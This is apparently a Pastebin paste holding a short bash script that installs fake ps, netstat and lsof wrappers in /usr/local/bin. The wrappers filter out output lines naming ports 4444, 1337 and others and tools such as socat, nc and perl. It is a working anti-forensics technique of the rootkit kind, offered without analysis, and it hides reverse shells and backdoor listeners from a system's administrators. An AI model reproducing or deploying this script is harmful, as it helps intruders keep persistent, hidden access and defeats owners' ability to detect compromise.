Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- touch /usr/local/bin/ps
- cat <<EOF >> /usr/local/bin/ps
- #!/bin/bash
- /bin/ps \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
- EOF
- chmod +x /usr/local/bin/ps
- touch /usr/local/bin/netstat
- cat <<EOF >> /usr/local/bin/netstat
- #!/bin/bash
- /bin/netstat \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
- EOF
- chmod +x /usr/local/bin/netstat
- touch /usr/local/bin/lsof
- cat <<EOF >> /usr/local/bin/lsof
- #!/bin/bash
- /usr/bin/lsof \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
- EOF
- chmod +x /usr/local/bin/lsof
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement